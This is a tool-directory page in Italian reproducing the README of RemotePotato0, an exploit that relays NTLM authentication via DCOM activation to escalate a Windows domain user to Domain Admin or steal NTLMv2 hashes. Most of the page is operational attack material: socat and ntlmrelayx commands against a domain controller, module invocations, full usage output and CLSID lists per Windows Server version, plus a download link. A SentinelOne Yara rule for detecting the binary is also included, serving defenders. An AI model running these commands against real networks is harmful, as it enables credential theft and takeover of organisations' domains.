Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
RemotePotato0 — Escalation dei privilegi di Windows da utente a Domain Admin. | Kitploit
Strumenti/GitHubGitHub/antoniococo/remotepotato0
Escalation di PrivilegiExploitMovimento LateralePenetration TestingAutenticazione
GitHubantoniococo/remotepotato0

RemotePotato0

Escalation dei privilegi di Windows da utente a Domain Admin.

Vedi Repository
1.5k22213 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

RemotePotato0

AGGIORNAMENTO 21-10-2022: Lo scenario principale dell'exploit RPC->LDAP di RemotePotato0 è stato corretto. Maggiori dettagli su --> https://twitter.com/splinter_code/status/1583555613950255104

Un altro "Non Verrà Risolto" di elevazione dei privilegi di Windows da Utente ad Amministratore di Dominio.

RemotePotato0 è un exploit che consente di elevare i propri privilegi da un utente generico ad Amministratore di Dominio.

Brevemente:

  • Abusa del servizio di attivazione DCOM e innesca un'autenticazione NTLM di qualsiasi utente attualmente connesso alla macchina target.
  • È richiesto che un utente privilegiato sia connesso alla stessa macchina (ad es. un utente Amministratore di Dominio).
  • Una volta attivato il tipo1 NTLM, configuriamo un server relay cross-protocollo che riceve il messaggio tipo1 privilegiato e lo inoltra a una terza risorsa decomprimendo il protocollo RPC e impacchettando l'autenticazione su HTTP. Sul lato ricevente puoi configurare un ulteriore nodo relay (es. ntlmrelayx) o inoltrare direttamente a una risorsa privilegiata.
  • RemotePotato0 consente anche di catturare e rubare gli hash NTLMv2 di tutti gli utenti connessi a una macchina.

Examples

Macchina attaccante (10.0.0.20)

Macchina vittima (10.0.0.45)

Controller di dominio vittima (10.0.0.10)

Modulo 0 - Server relay cross-protocollo Rpc2Http + trigger potato

root@kitploit:~
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user

Nota: se sei su Windows Server <= 2016 puoi evitare il redirector di rete (socat) perché la risoluzione oxid può essere eseguita localmente.

root@kitploit:~
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1

Modulo 1 - Server relay cross-protocollo Rpc2Http

root@kitploit:~
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20 
root@kitploit:~
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm

Modulo 2 - Server di cattura RPC (hash) + trigger potato

root@kitploit:~
query user
.\RemotePotato0.exe -m 2 -s 1

Modulo 3 - Server di cattura RPC (hash)

root@kitploit:~
.\RemotePotato0.exe -m 3 -l 9997
root@kitploit:~
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm

Usage

root@kitploit:~


        RemotePotato0
        @splinter_code & @decoder_it



Mandatory args:
-m module
        Allowed values:
        0 - Rpc2Http cross protocol relay server + potato trigger (default)
        1 - Rpc2Http cross protocol relay server
        2 - Rpc capture (hash) server + potato trigger
        3 - Rpc capture (hash) server


Other args: (someone could be mandatory and/or optional based on the module you use)
-r Remote HTTP relay server ip
-t Remote HTTP relay server port (Default 80)
-x Rogue Oxid Resolver ip (default 127.0.0.1)
-p Rogue Oxid Resolver port (default 9999)
-l RPC Relay server listening port (Default 9997)
-s Session id for the Cross Session Activation attack (default disabled)
-c CLSID (Default {5167B42F-C111-47A1-ACC4-8EABE61B0B54})

Demo

Attivazione cross-sessione

Furto di hash

Elenco CLSID

Un elenco di CLSID utilizzabili su varie versioni di Windows:

Windows Server 2019

root@kitploit:~
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class   
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI 
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll 
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients  
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog   
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout 
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host   
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory  
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser

Windows Server 2016

root@kitploit:~
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

Windows Server 2008 R2

root@kitploit:~
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

Puoi trovare un elenco più completo qui --> http://ohpe.it/juicy-potato/CLSID/

Rilevamento

Regola Yara per rilevare il binario RemotePotato0:

root@kitploit:~
rule SentinelOne_RemotePotato0_privesc {
    meta:
        author = "SentinelOne"
        description = "Detects RemotePotato0 binary"
        reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
        
    strings:
        $import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
        
    condition:        
        (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}

Autori

  • Antonio Cocomazzi
  • Andrea Pierini

Crediti

  • Impacket
  • @tiraniddo - Attivazione Cross Sessione
  • @Responder

Riferimenti

  • https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/
  • https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html
Scarica lo strumento